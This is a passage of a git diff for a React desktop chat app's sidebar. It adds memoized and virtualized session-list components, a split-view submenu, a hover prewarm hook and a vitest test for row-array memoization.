+              <SessionStatusDot branchStem={branchStem} session={session} storedSessionId={session.id} />
+            </SidebarRowLead>
+          )}
+          {handoffSource && handoffLabel ? (
+            <Tip label={r.handoffOrigin(handoffLabel)}>
+              <PlatformAvatar
+                className="size-4 rounded-[4px] text-[0.5rem] [&_svg]:size-2.5"
+                platformId={handoffSource}
+                platformName={handoffLabel}
+              />
+            </Tip>
+          ) : null}
+          <SidebarRowLabel className="flex-1 font-normal group-hover:text-foreground group-data-[working=true]:text-foreground/90">
+            {title}
+          </SidebarRowLabel>
+          {showProfile && <ProfileTag profile={session.profile} />}
+        </SidebarRowBody>
+      </SidebarRowShell>
+    </SessionContextMenu>
+  )
+}
+
+// The sidebar re-renders on every stream tick ($sessions/$workingSessionIds
+// churn), and it stays mounted beneath every overlay — so an unmemoized row
+// re-rendered the whole list (and its Codicon/label/status-dot subtree) on each
+// delta, bleeding churn into Settings, Cron, Profiles, Artifacts, etc.
+//
+// The callback props (onArchive/onResume/…) are fresh closures every render by
+// design (they close over the row's session id), so a default memo never bails.
+// They're pure id-forwarders, though — identical behavior for a given row — so
+// the comparator deliberately ignores them and compares only the DATA that
+// changes what the row paints. A row whose session/selection/working/pin state
+// is unchanged now bails out, even while a sibling session streams.
+function rowPropsEqual(a: SidebarSessionRowProps, b: SidebarSessionRowProps): boolean {
+  return (
+    a.session === b.session &&
+    a.isPinned === b.isPinned &&
+    a.isSelected === b.isSelected &&
+    a.isWorking === b.isWorking &&
+    a.branchStem === b.branchStem &&
+    a.reorderable === b.reorderable &&
+    a.dragging === b.dragging &&
+    a.showProfile === b.showProfile &&
+    a.dragHandleProps === b.dragHandleProps &&
+    a.className === b.className &&
+    a.style === b.style
+  )
+}
+
+export const SidebarSessionRow = memo(SidebarSessionRowImpl, rowPropsEqual)
diff --git a/ui-desktop/src/app/chat/sidebar/sessions-section.test.tsx b/ui-desktop/src/app/chat/sidebar/sessions-section.test.tsx
new file mode 100644
index 000000000..e5bf581f6
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/sessions-section.test.tsx
@@ -0,0 +1,184 @@
+import { cleanup, render } from '@testing-library/react'
+import type * as React from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { SessionInfo } from '@/clawcodex'
+
+import { SidebarSessionsSection, VIRTUALIZE_THRESHOLD } from './sessions-section'
+import type { VirtualSessionListProps } from './virtual-session-list'
+
+afterEach(cleanup)
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      sidebar: {
+        dateDivider: {
+          earlierThisMonth: 'Earlier this month',
+          lastMonth: 'Last month',
+          lastWeek: 'Last week',
+          older: 'Older',
+          today: 'Today',
+          yesterday: 'Yesterday'
+        }
+      }
+    }
+  })
+}))
+
+const mockVirtualListPropsHistory: VirtualSessionListProps[] = []
+
+vi.mock('./virtual-session-list', () => ({
+  VirtualSessionList: (props: VirtualSessionListProps) => {
+    mockVirtualListPropsHistory.push(props)
+
+    return <div data-testid="virtual-session-list">Virtual List ({props.rows.length} rows)</div>
+  }
+}))
+
+vi.mock('./session-row', () => ({
+  SidebarSessionRow: ({ session }: { session: SessionInfo }) => (
+    <div data-testid={`session-row-${session.id}`}>{session.id}</div>
+  )
+}))
+
+function makeSession(id: string, startedAt = 1000): SessionInfo {
+  return {
+    handoff_platform: null,
+    handoff_state: null,
+    id,
+    last_active: startedAt,
+    profile: 'default',
+    started_at: startedAt
+  } as unknown as SessionInfo
+}
+
+function generateSessions(count: number): SessionInfo[] {
+  return Array.from({ length: count }, (_, i) => makeSession(`session-${i + 1}`, 10000 - i * 100))
+}
+
+const noop = () => {}
+
+describe('SidebarSessionsSection memoization & virtualizer stability', () => {
+  it('memoizes flatRows and passes the exact same rows array reference across parent re-renders', () => {
+    mockVirtualListPropsHistory.length = 0
+
+    const sessions = generateSessions(VIRTUALIZE_THRESHOLD + 5)
+
+    const { rerender } = render(
+      <SidebarSessionsSection
+        activeSessionId={null}
+        emptyState={<div>Empty</div>}
+        label="Sessions"
+        onArchiveSession={noop}
+        onDeleteSession={noop}
+        onResumeSession={noop}
+        onToggle={noop}
+        onTogglePin={noop}
+        open={true}
+        pinned={false}
+        sessions={sessions}
+        workingSessionIdSet={new Set()}
+      />
+    )
+
+    expect(mockVirtualListPropsHistory.length).toBe(1)
+    const initialRowsRef = mockVirtualListPropsHistory[0].rows
+    expect(initialRowsRef.length).toBeGreaterThan(VIRTUALIZE_THRESHOLD)
+
+    // Re-render parent with the exact same sessions array and props
+    rerender(
+      <SidebarSessionsSection
+        activeSessionId={null}
+        emptyState={<div>Empty</div>}
+        label="Sessions"
+        onArchiveSession={noop}
+        onDeleteSession={noop}
+        onResumeSession={noop}
+        onToggle={noop}
+        onTogglePin={noop}
+        open={true}
+        pinned={false}
+        sessions={sessions}
+        workingSessionIdSet={new Set()}
+      />
+    )
+
+    expect(mockVirtualListPropsHistory.length).toBe(2)
+    const nextRowsRef = mockVirtualListPropsHistory[1].rows
+
+    // Confirm that the flatRows array reference remains strictly identical across renders (useMemo proof)
+    expect(nextRowsRef).toBe(initialRowsRef)
+  })
+
+  it('re-computes flatRows reference when dateGrouped or sessions change', () => {
+    mockVirtualListPropsHistory.length = 0
+
+    const initialSessions = generateSessions(VIRTUALIZE_THRESHOLD + 2)
+
+    const { rerender } = render(
+      <SidebarSessionsSection
+        activeSessionId={null}
+        dateGrouped={false}
+        emptyState={<div>Empty</div>}
+        label="Sessions"
+        onArchiveSession={noop}
+        onDeleteSession={noop}
+        onResumeSession={noop}
+        onToggle={noop}
+        onTogglePin={noop}
+        open={true}
+        pinned={false}
+        sessions={initialSessions}
+        workingSessionIdSet={new Set()}
+      />
+    )
+
+    const firstRowsRef = mockVirtualListPropsHistory[0].rows
+
+    // Change dateGrouped to true
+    rerender(
+      <SidebarSessionsSection
+        activeSessionId={null}
+        dateGrouped={true}
+        emptyState={<div>Empty</div>}
+        label="Sessions"
+        onArchiveSession={noop}
+        onDeleteSession={noop}
+        onResumeSession={noop}
+        onToggle={noop}
+        onTogglePin={noop}
+        open={true}
+        pinned={false}
+        sessions={initialSessions}
+        workingSessionIdSet={new Set()}
+      />
+    )
+
+    const secondRowsRef = mockVirtualListPropsHistory[1].rows
+    expect(secondRowsRef).not.toBe(firstRowsRef)
+
+    // Change sessions array identity
+    const updatedSessions = generateSessions(VIRTUALIZE_THRESHOLD + 4)
+    rerender(
+      <SidebarSessionsSection
+        activeSessionId={null}
+        dateGrouped={true}
+        emptyState={<div>Empty</div>}
+        label="Sessions"
+        onArchiveSession={noop}
+        onDeleteSession={noop}
+        onResumeSession={noop}
+        onToggle={noop}
+        onTogglePin={noop}
+        open={true}
+        pinned={false}
+        sessions={updatedSessions}
+        workingSessionIdSet={new Set()}
+      />
+    )
+
+    const thirdRowsRef = mockVirtualListPropsHistory[2].rows
+    expect(thirdRowsRef).not.toBe(secondRowsRef)
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/sessions-section.tsx b/ui-desktop/src/app/chat/sidebar/sessions-section.tsx
new file mode 100644
index 000000000..da45a97d7
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/sessions-section.tsx
@@ -0,0 +1,490 @@
+import type { useSensors } from '@dnd-kit/core'
+import type * as React from 'react'
+import { useCallback, useMemo } from 'react'
+
+import { SidebarPanelLabel } from '@/app/shell/sidebar-label'
+import type { SessionInfo } from '@/clawcodex'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { SidebarGroup, SidebarGroupContent } from '@/components/ui/sidebar'
+import type { ClawCodexGitWorktree } from '@/global'
+import { useI18n } from '@/i18n'
+import { flattenSessionsWithBranches } from '@/lib/session-branch-tree'
+import { groupEntriesByRecency, type SidebarListRow, toSessionRows } from '@/lib/session-date-groups'
+import { sessionBucketLabel } from '@/lib/time'
+import { cn } from '@/lib/utils'
+import { sessionPinId } from '@/store/session'
+
+import { SidebarDateDivider, SidebarSectionMeta } from './chrome'
+import { orderRowsWithinGroups, reorderableRowIds } from './order'
+import {
+  EnteredProjectContent,
+  ProjectOverviewRow,
+  type SidebarProjectTree,
+  type SidebarSessionGroup,
+  SidebarWorkspaceGroup,
+  type SidebarWorkspaceTree
+} from './projects'
+import { ReorderableList, useSortableBindings } from './reorderable-list'
+import { SidebarSessionSkeletons } from './section-states'
+import { SidebarSessionRow } from './session-row'
+import { VirtualSessionList } from './virtual-session-list'
+
+export const VIRTUALIZE_THRESHOLD = 25
+
+interface SidebarSectionHeaderProps {
+  label: string
+  open: boolean
+  onToggle: () => void
+  action?: React.ReactNode
+  meta?: React.ReactNode
+  icon?: React.ReactNode
+  // When false the section can't be collapsed: the label renders static (no
+  // toggle, no caret) and the section is always open. Used for the single-
+  // project view, where collapsing one project makes no sense.
+  collapsible?: boolean
+}
+
+function SidebarSectionHeader({
+  label,
+  open,
+  onToggle,
+  action,
+  meta,
+  icon,
+  collapsible = true
+}: SidebarSectionHeaderProps) {
+  const labelBody = (
+    <>
+      {icon}
+      <SidebarPanelLabel>{label}</SidebarPanelLabel>
+      {meta && <SidebarSectionMeta>{meta}</SidebarSectionMeta>}
+    </>
+  )
+
+  return (
+    <div className="group/section flex shrink-0 items-center justify-between gap-1 pb-1 pt-1.5">
+      {collapsible ? (
+        <button
+          // min-w-0 lets the label truncate at narrow sidebar widths instead of
+          // pushing the header's trailing action icons out of view.
+          className="group/section-label flex w-fit min-w-0 items-center gap-1 bg-transparent text-left leading-none"
+          onClick={onToggle}
+          type="button"
+        >
+          {labelBody}
+          <DisclosureCaret
+            className="text-(--ui-text-tertiary) opacity-0 transition group-hover/section-label:opacity-100"
+            open={open}
+          />
+        </button>
+      ) : (
+        <div className="flex w-fit min-w-0 items-center gap-1 leading-none">{labelBody}</div>
+      )}
+      {action}
+    </div>
+  )
+}
+
+interface SidebarSessionsSectionProps {
+  label: string
+  open: boolean
+  onToggle: () => void
+  sessions: SessionInfo[]
+  activeSessionId: null | string
+  workingSessionIdSet: Set<string>
+  onResumeSession: (sessionId: string) => void
+  onDeleteSession: (sessionId: string) => void
+  onArchiveSession: (sessionId: string) => void
+  onBranchSession?: (sessionId: string, profile?: string) => void
+  onTogglePin: (sessionId: string) => void
+  onNewSessionInWorkspace?: (path: null | string) => void
+  pinned: boolean
+  rootClassName?: string
+  contentClassName?: string
+  emptyState: React.ReactNode
+  forceEmptyState?: boolean
+  headerAction?: React.ReactNode
+  footer?: React.ReactNode
+  groups?: SidebarSessionGroup[]
+  tree?: SidebarWorkspaceTree[]
+  // Project overview: when present, render a drill-in list of project rows
+  // instead of sessions. Clicking a row enters that project (onEnterProject),
+  // which then passes `projectContent` on the next render. Takes precedence
+  // over `tree` / `groups`.
+  projectOverview?: SidebarProjectTree[]
+  // Per-project preview rows (from the backend tree), keyed by project id.
+  projectOverviewPreviews?: Record<string, SessionInfo[]>
+  // True while the backend project tree is loading (overview skeleton).
+  projectsLoading?: boolean
+  onEnterProject?: (id: string) => void
+  // The entered project's flattened content: main-checkout sessions render
+  // directly (no redundant repo/branch header); only linked worktrees nest.
+  projectContent?: SidebarProjectTree
+  // Live git lanes (`git worktree list`) for repos in the entered project —
+  // a VISUAL enhancer only (empty lanes), never session membership.
+  projectRepoWorktrees?: Record<string, ClawCodexGitWorktree[]>
+  // Live session cache used for optimistic placement inside entered-project lanes.
+  liveSessions?: SessionInfo[]
+  // Client-side optimistic eviction layer (deleted/archived ids).
+  removedSessionIds?: ReadonlySet<string>
+  activeProjectId?: null | string
+  labelMeta?: React.ReactNode
+  labelIcon?: React.ReactNode
+  // When false the section header is static (no caret/toggle) and always open.
+  collapsible?: boolean
+  sortable?: boolean
+  // The persisted drag order, applied WITHIN each date group (see
+  // orderRowsWithinGroups). Chronology decides the groups; this decides the
+  // sequence inside one, so a reorder no longer costs the whole list its
+  // dividers. Pinned passes nothing — its rows arrive in pin order already.
+  manualOrderIds?: string[]
+  // The flat session list is the only hand-reorderable surface (grouped/project
+  // views sort deterministically), so it owns the one ReorderableList.
+  onReorderSessions?: (ids: string[]) => void
+  // Drag-to-reorder for the project overview list (top-level projects).
+  onReorderProjects?: (ids: string[]) => void
+  // Rendered atop the entered-project body (a "back to overview" row).
+  projectBackRow?: React.ReactNode
+  dndSensors?: ReturnType<typeof useSensors>
+  // Tag every row with its owning profile. Set on the flat cross-profile
+  // lists (Pinned / search results) in the All-profiles view, where no group
+  // header communicates ownership (#66003).
+  showProfileTags?: boolean
+  // Insert "Yesterday" / "Last week" date dividers into the chronological
+  // session list (flat recents + entered-project lanes). Off for hand-ordered
+  // lists, pinned, messaging groups, and the project overview, where the order
+  // isn't strictly by recency so a date bucket would be misleading.
+  dateGrouped?: boolean
+}
+
+export function SidebarSessionsSection({
+  label,
+  open,
+  onToggle,
+  sessions,
+  activeSessionId,
+  workingSessionIdSet,
+  onResumeSession,
+  onDeleteSession,
+  onArchiveSession,
+  onBranchSession,
+  onTogglePin,
+  onNewSessionInWorkspace,
+  pinned,
+  rootClassName,
+  contentClassName,
+  emptyState,
+  forceEmptyState = false,
+  headerAction,
+  footer,
+  groups,
+  projectOverview,
+  projectOverviewPreviews,
+  projectsLoading = false,
+  onEnterProject,
+  projectContent,
+  projectRepoWorktrees,
+  liveSessions,
+  removedSessionIds,
+  activeProjectId,
+  labelMeta,
+  labelIcon,
+  collapsible = true,
+  sortable = false,
+  manualOrderIds,
+  onReorderSessions,
+  onReorderProjects,
+  projectBackRow,
+  dndSensors,
+  showProfileTags = false,
+  dateGrouped = false
+}: SidebarSessionsSectionProps) {
+  const { t } = useI18n()
+  const dividerLabels = t.sidebar.dateDivider
+  const sectionOpen = collapsible ? open : true
+  const hasGroupedSessions = Boolean(groups?.some(group => group.sessions.length > 0))
+  // A defined project list is itself content (even an empty project should
+  // render as a drill-in row so the user can see it exists).
+  const hasProjectOverview = Boolean(projectOverview?.length)
+
+  // Lanes count as content even with no rows left in them: the backend only
+  // emits a lane that has sessions, so a lane surviving with zero rows means
+  // they were filtered out (pinned) — the branch is real and must still render.
+  // A genuinely empty project has no lanes at all and keeps its empty state.
+  const hasProjectContent = Boolean(
+    projectContent && (projectContent.sessionCount > 0 || projectContent.repos.some(repo => repo.groups.length > 0))
+  )
+
+  const showEmptyState =
+    forceEmptyState || (!hasGroupedSessions && !hasProjectOverview && !hasProjectContent && sessions.length === 0)
+
+  // The flat recents/pinned list is the only place sessions reorder by hand;
+  // grouped/tree views always sort by creation date and never drag.
+  const sessionsDraggable = sortable && !!onReorderSessions
+
+  // Only Pinned arrives pre-ordered as a flat sequence. Recents keeps its
+  // recency sort — the drag order is layered on per date group below, so the
+  // buckets stay truthful and a reorder never costs the list its dividers.
+  const displayEntries = useMemo(
+    () => flattenSessionsWithBranches(sessions, { preserveOrder: pinned }),
+    [sessions, pinned]
+  )
+
+  const renderRow = useCallback(
+    (session: SessionInfo, draggable: boolean, branchStem?: string) => {
+      const rowProps = {
+        branchStem,
+        isPinned: pinned,
+        isSelected: session.id === activeSessionId,
+        isWorking: workingSessionIdSet.has(session.id),
+        onArchive: () => onArchiveSession(session.id),
+        onBranch: onBranchSession ? () => onBranchSession(session.id, session.profile) : undefined,
+        onDelete: () => onDeleteSession(session.id),
+        onPin: () => onTogglePin(sessionPinId(session)),
+        onResume: () => onResumeSession(session.id),
+        reorderable: draggable && !branchStem,
+        session,
+        showProfile: showProfileTags
+      }
+
+      return draggable && !branchStem ? (
+        <SortableSidebarSessionRow key={session.id} {...rowProps} />
+      ) : (
+        <SidebarSessionRow key={session.id} {...rowProps} />
+      )
+    },
+    [
+      activeSessionId,
+      onArchiveSession,
+      onBranchSession,
+      onDeleteSession,
+      onResumeSession,
+      onTogglePin,
+      pinned,
+      showProfileTags,
+      workingSessionIdSet
+    ]
+  )
+
+  // A single flat/virtual/lane list row — either a date divider or a session.
+  const renderListRow = useCallback(
+    (row: SidebarListRow, draggable: boolean) =>
+      row.kind === 'divider' ? (
+        <SidebarDateDivider key={row.key} label={sessionBucketLabel(row.bucket, dividerLabels)} />
+      ) : (
+        renderRow(row.entry.session, draggable, row.entry.branchStem)
+      ),
+    [dividerLabels, renderRow]
+  )
+
+  // Sessions inside repos/worktrees are date-ordered and static.
+  const renderRows = useCallback(
+    (items: SessionInfo[]) =>
+      flattenSessionsWithBranches(items).map(({ branchStem, session }) => renderRow(session, false, branchStem)),
+    [renderRow]
+  )
+
+  // Same as `renderRows`, but with date dividers folded in — used for
+  // entered-project lanes so a lane spanning multiple days reads
+  // chronologically, matching the flat recents list.
+  const renderRowsDated = useCallback(
+    (items: SessionInfo[]) => {
+      const entries = flattenSessionsWithBranches(items)
+
+      return (dateGrouped ? groupEntriesByRecency(entries) : toSessionRows(entries)).map(row =>
+        renderListRow(row, false)
+      )
+    },
+    [dateGrouped, renderListRow]
+  )
+
+  // Flat recents as list rows: grouped by recency when enabled, plain otherwise.
+  // The hand-picked order is then applied INSIDE each date group, so dragging a
+  // row ranks it among its own day's chats instead of freezing the whole list
+  // into an undated manual mode.
+  const flatRows: SidebarListRow[] = useMemo(() => {
+    const rows = dateGrouped ? groupEntriesByRecency(displayEntries) : toSessionRows(displayEntries)
+
+    return manualOrderIds?.length ? orderRowsWithinGroups(rows, manualOrderIds) : rows
+  }, [dateGrouped, displayEntries, manualOrderIds])
+
+  // dnd-kit must see exactly the ids it renders, in render order: the sortable
+  // set is derived from the rows, not from `sessions`. Feeding it the unrendered
+  // session order made a drop compute its target index against a list the user
+  // wasn't looking at — the drag that landed a row in the wrong slot.
+  const sortableRowIds = useMemo(() => reorderableRowIds(flatRows), [flatRows])
+
+  // Pinned never virtualizes. Virtualization needs a bounded viewport to
+  // measure against, and Pinned deliberately has none — however many chats you
+  // pin, all of them render and the sidebar's own scroll carries the length.
+  const flatVirtualized =
+    !pinned &&
+    !showEmptyState &&
+    !groups?.length &&
+    !projectOverview?.length &&
+    !projectContent &&
+    sessions.length >= VIRTUALIZE_THRESHOLD
+
+  // First paint into the grouped view (e.g. the app restoring the Projects tab)
+  // has flat recents in `sessions` but no tree yet. Show skeletons rather than
+  // flashing the flat session list until the overview/content/groups resolve. A
+  // background refresh keeps the prior tree, so this only fires when empty.
+  const showProjectsSkeleton =
+    projectsLoading && !hasProjectOverview && !hasProjectContent && !projectContent && !groups?.length
+
+  let inner: React.ReactNode
+
+  if (showProjectsSkeleton) {
+    inner = <SidebarSessionSkeletons />
+  } else if (projectContent) {
+    // Entered a project: the back row is always present, then either the
+    // (overlay-aware) content or a clean empty state — never a bare spinner or a
+    // blank pane while lanes hydrate.
+    inner = (
+      <>
+        {projectBackRow}
+        {hasProjectContent ? (
+          <EnteredProjectContent
+            liveSessions={liveSessions}
+            onNewSession={onNewSessionInWorkspace}
+            project={projectContent}
+            removedSessionIds={removedSessionIds}
+            renderRows={renderRowsDated}
+            repoWorktrees={projectRepoWorktrees}
+          />
+        ) : (
+          emptyState
+        )}
+      </>
+    )
+  } else if (showEmptyState) {
+    inner = emptyState
+  } else if (projectOverview?.length) {
+    // The model is already ordered (Home leads; then the default sort groups
+    // explicit-before-auto, with a manual drag-order winning when present).
+    // Render in that order and make rows drag-to-reorder when a handler is
+    // wired — Home stays outside the sortable list, it's a fixture.
+    const home = projectOverview[0]?.isNoProject ? projectOverview[0] : undefined
+    const sortableProjects = home ? projectOverview.slice(1) : projectOverview
+    const projectsDraggable = sortableProjects.length > 1 && !!onReorderProjects
+    const Row = projectsDraggable ? SortableProjectOverviewRow : ProjectOverviewRow
+
+    const projectRow = (project: SidebarProjectTree, Component: typeof ProjectOverviewRow) => (
+      <Component
+        activeProjectId={activeProjectId}
+        key={project.id}
+        onEnter={onEnterProject}
+        onNewSession={onNewSessionInWorkspace}
+        previewSessions={projectOverviewPreviews?.[project.id]}
+        project={project}
+        renderRows={renderRows}
+      />
+    )
+
+    const rows = sortableProjects.map(project => projectRow(project, Row))
+
+    inner = (
+      <>
+        {home && projectRow(home, ProjectOverviewRow)}
+        {projectsDraggable && onReorderProjects ? (
+          <ReorderableList
+            ids={sortableProjects.map(project => project.id)}
+            onReorder={onReorderProjects}
+            sensors={dndSensors}
+          >
+            {rows}
+          </ReorderableList>
+        ) : (
+          rows
+        )}
+      </>
+    )
+  } else if (groups?.length) {
+    // Profile/source groups never reorder; render them flat with static rows.
+    inner = groups.map(group => (
+      <SidebarWorkspaceGroup
+        group={group}
+        key={group.id}
+        onNewSession={onNewSessionInWorkspace}
+        renderRows={renderRows}
+      />
+    ))
+  } else if (flatVirtualized) {
+    const virtual = (
+      <VirtualSessionList
+        activeSessionId={activeSessionId}
+        className={contentClassName}
+        onArchiveSession={onArchiveSession}
+        onBranchSession={onBranchSession}
+        onDeleteSession={onDeleteSession}
+        onResumeSession={onResumeSession}
+        onTogglePin={onTogglePin}
+        pinned={pinned}
+        rows={flatRows}
+        showProfileTags={showProfileTags}
+        sortable={sessionsDraggable}
+        workingSessionIdSet={workingSessionIdSet}
+      />
+    )
+
+    inner =
+      sessionsDraggable && onReorderSessions ? (
+        <ReorderableList ids={sortableRowIds} onReorder={onReorderSessions} sensors={dndSensors}>
+          {virtual}
+        </ReorderableList>
+      ) : (
+        virtual
+      )
+  } else if (sessionsDraggable && onReorderSessions) {
+    inner = (
+      <ReorderableList ids={sortableRowIds} onReorder={onReorderSessions} sensors={dndSensors}>
+        {flatRows.map(row => renderListRow(row, true))}
+      </ReorderableList>
+    )
+  } else {
+    inner = flatRows.map(row => renderListRow(row, false))
+  }
+
+  // The virtualizer owns its own scroller, so suppress the wrapper's overflow
+  // to avoid a double scroll container.
+  const resolvedContentClassName = cn(contentClassName, flatVirtualized && 'overflow-y-visible')
+
+  return (
+    <SidebarGroup className={rootClassName}>
+      <SidebarSectionHeader
+        action={headerAction}
+        collapsible={collapsible}
+        icon={labelIcon}
+        label={label}
+        meta={labelMeta}
+        onToggle={onToggle}
+        open={sectionOpen}
+      />
+      {sectionOpen && (
+        <SidebarGroupContent className={resolvedContentClassName}>
+          {inner}
+          {footer}
+        </SidebarGroupContent>
+      )}
+    </SidebarGroup>
+  )
+}
+
+interface SortableSessionRowProps {
+  session: SessionInfo
+  isPinned: boolean
+  isSelected: boolean
+  isWorking: boolean
+  onArchive: () => void
+  onDelete: () => void
+  onPin: () => void
+  onResume: () => void
+}
+
+function SortableSidebarSessionRow(props: SortableSessionRowProps) {
+  return <SidebarSessionRow {...props} {...useSortableBindings(props.session.id)} />
+}
+
+function SortableProjectOverviewRow(props: React.ComponentProps<typeof ProjectOverviewRow>) {
+  return <ProjectOverviewRow {...props} {...useSortableBindings(props.project.id)} />
+}
diff --git a/ui-desktop/src/app/chat/sidebar/split-submenu.tsx b/ui-desktop/src/app/chat/sidebar/split-submenu.tsx
new file mode 100644
index 000000000..695216cbc
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/split-submenu.tsx
@@ -0,0 +1,92 @@
+import { Codicon } from '@/components/ui/codicon'
+import {
+  ContextMenuItem,
+  ContextMenuSub,
+  ContextMenuSubContent,
+  ContextMenuSubTrigger
+} from '@/components/ui/context-menu'
+import {
+  DropdownMenuItem,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger
+} from '@/components/ui/dropdown-menu'
+import { triggerHaptic } from '@/lib/haptics'
+import type { SplitDir } from '@/store/session-states'
+
+/** The leaf + submenu components for one menu flavour, so the split submenu
+ *  renders in either the `…` dropdown or a right-click context menu. */
+export interface SplitMenuKit {
+  Item: typeof DropdownMenuItem | typeof ContextMenuItem
+  Sub: typeof DropdownMenuSub | typeof ContextMenuSub
+  SubContent: typeof DropdownMenuSubContent | typeof ContextMenuSubContent
+  SubTrigger: typeof DropdownMenuSubTrigger | typeof ContextMenuSubTrigger
+}
+
+export const DROPDOWN_SPLIT_KIT: SplitMenuKit = {
+  Item: DropdownMenuItem,
+  Sub: DropdownMenuSub,
+  SubContent: DropdownMenuSubContent,
+  SubTrigger: DropdownMenuSubTrigger
+}
+
+export const CONTEXT_SPLIT_KIT: SplitMenuKit = {
+  Item: ContextMenuItem,
+  Sub: ContextMenuSub,
+  SubContent: ContextMenuSubContent,
+  SubTrigger: ContextMenuSubTrigger
+}
+
+// Ordered so the default (right) sits first, one hop away.
+const SPLIT_DIRS: { dir: SplitDir; icon: string; label: string }[] = [
+  { dir: 'right', icon: 'arrow-right', label: 'Right' },
+  { dir: 'bottom', icon: 'arrow-down', label: 'Down' },
+  { dir: 'left', icon: 'arrow-left', label: 'Left' },
+  { dir: 'top', icon: 'arrow-up', label: 'Up' }
+]
+
+interface SplitSubmenuProps {
+  kit: SplitMenuKit
+  label: string
+  onSplit: (dir: SplitDir) => void
+  disabled?: boolean
+  /** Dismiss the owning menu after the row's default (right) split — the
+   *  dropdown is controlled and can; a context menu can't, so it's a no-op. */
+  close?: () => void
+}
+
+/**
+ * "Open in split ▸": clicking the row splits right (the common case), and the
+ * submenu picks any edge. Shared by session rows and page nav rows.
+ */
+export function SplitSubmenu({ close, disabled, kit, label, onSplit }: SplitSubmenuProps) {
+  const { Item, Sub, SubContent, SubTrigger } = kit
+
+  const split = (dir: SplitDir) => {
+    triggerHaptic('selection')
+    onSplit(dir)
+  }
+
+  return (
+    <Sub>
+      <SubTrigger
+        disabled={disabled}
+        onClick={() => {
+          split('right')
+          close?.()
+        }}
+      >
+        <Codicon name="split-horizontal" size="0.875rem" />
+        <span>{label}</span>
+      </SubTrigger>
+      <SubContent>
+        {SPLIT_DIRS.map(({ dir, icon, label: dirLabel }) => (
+          <Item key={dir} onSelect={() => split(dir)}>
+            <Codicon name={icon} size="0.875rem" />
+            <span>{dirLabel}</span>
+          </Item>
+        ))}
+      </SubContent>
+    </Sub>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/use-profile-prewarm.ts b/ui-desktop/src/app/chat/sidebar/use-profile-prewarm.ts
new file mode 100644
index 000000000..4aecf5cad
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/use-profile-prewarm.ts
@@ -0,0 +1,38 @@
+import { useCallback, useEffect, useRef } from 'react'
+
+import { prewarmProfileBackend } from '@/store/profile'
+
+// Dwell before firing: long enough that sweeping the pointer across the rail
+// or a mixed-profile session list doesn't spawn a backend for every element
+// passed through, short enough to beat the click by hundreds of ms.
+const PREWARM_DWELL_MS = 120
+
+/**
+ * pointerenter/pointerleave handlers that pre-warm `profile`'s pool backend
+ * after a short hover dwell (see prewarmProfileBackend in store/profile).
+ * Consumers merge these with their own pointer handlers.
+ */
+export function useProfilePrewarm(profile: string | null | undefined) {
+  const timer = useRef<null | number>(null)
+  const profileRef = useRef(profile)
+  profileRef.current = profile
+
+  const cancelPrewarm = useCallback(() => {
+    if (timer.current != null) {
+      clearTimeout(timer.current)
+      timer.current = null
+    }
+  }, [])
+
+  useEffect(() => cancelPrewarm, [cancelPrewarm])
+
+  const startPrewarm = useCallback(() => {
+    cancelPrewarm()
+    timer.current = window.setTimeout(() => {
+      timer.current = null
+      prewarmProfileBackend(profileRef.current || 'default')
+    }, PREWARM_DWELL_MS)
+  }, [cancelPrewarm])
+
+  return { cancelPrewarm, startPrewarm }
+}
diff --git a/ui-desktop/src/app/chat/sidebar/virtual-session-list.tsx b/ui-desktop/src/app/chat/sidebar/virtual-session-list.tsx
new file mode 100644
index 000000000..35f1697e8
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/virtual-session-list.tsx
@@ -0,0 +1,188 @@
+import { useSortable } from '@dnd-kit/sortable'
+import { CSS } from '@dnd-kit/utilities'
+import { useVirtualizer } from '@tanstack/react-virtual'
+import { type FC, useCallback, useRef } from 'react'
+
+import type { SessionInfo } from '@/clawcodex'
+import { useI18n } from '@/i18n'
+import { type SidebarListRow } from '@/lib/session-date-groups'
+import { sessionBucketLabel } from '@/lib/time'
+import { cn } from '@/lib/utils'
+import { sessionPinId } from '@/store/session'
+
+import { SidebarDateDivider } from './chrome'
+import { SidebarSessionRow } from './session-row'
+
+interface SessionRowCommonProps {
+  branchStem?: string
+  isPinned: boolean
+  isSelected: boolean
+  isWorking: boolean
+  onArchive: () => void
+  onBranch?: () => void
+  onDelete: () => void
+  onPin: () => void
+  onResume: () => void
+  reorderable?: boolean
+  showProfile?: boolean
+}
+
+export interface VirtualSessionListProps {
+  activeSessionId: null | string
+  className?: string
+  rows: SidebarListRow[]
+  onArchiveSession: (sessionId: string) => void
+  onBranchSession?: (sessionId: string, profile?: string) => void
+  onDeleteSession: (sessionId: string) => void
+  onResumeSession: (sessionId: string) => void
+  onTogglePin: (sessionId: string) => void
+  pinned: boolean
+  showProfileTags?: boolean
+  sortable: boolean
+  workingSessionIdSet: Set<string>
+}
+
+const ROW_ESTIMATE_PX = 28
+const OVERSCAN_ROWS = 12
+
+export const VirtualSessionList: FC<VirtualSessionListProps> = ({
+  activeSessionId,
+  className,
+  rows: listRows,
+  onArchiveSession,
+  onBranchSession,
+  onDeleteSession,
+  onResumeSession,
+  onTogglePin,
+  pinned,
+  showProfileTags = false,
+  sortable,
+  workingSessionIdSet
+}) => {
+  const { t } = useI18n()
+  const dividerLabels = t.sidebar.dateDivider
+  const scrollerRef = useRef<HTMLDivElement | null>(null)
+
+  const virtualizer = useVirtualizer({
+    count: listRows.length,
+    estimateSize: () => ROW_ESTIMATE_PX,
+    getItemKey: index => {
+      const row = listRows[index]
+
+      return row ? (row.kind === 'divider' ? row.key : row.entry.session.id) : index
+    },
+    getScrollElement: () => scrollerRef.current,
+    // jsdom-friendly default; the real rect takes over on first observe.
+    initialRect: { height: 600, width: 240 },
+    overscan: OVERSCAN_ROWS
+  })
+
+  const virtualItems = virtualizer.getVirtualItems()
+  const totalSize = virtualizer.getTotalSize()
+  const paddingTop = virtualItems[0]?.start ?? 0
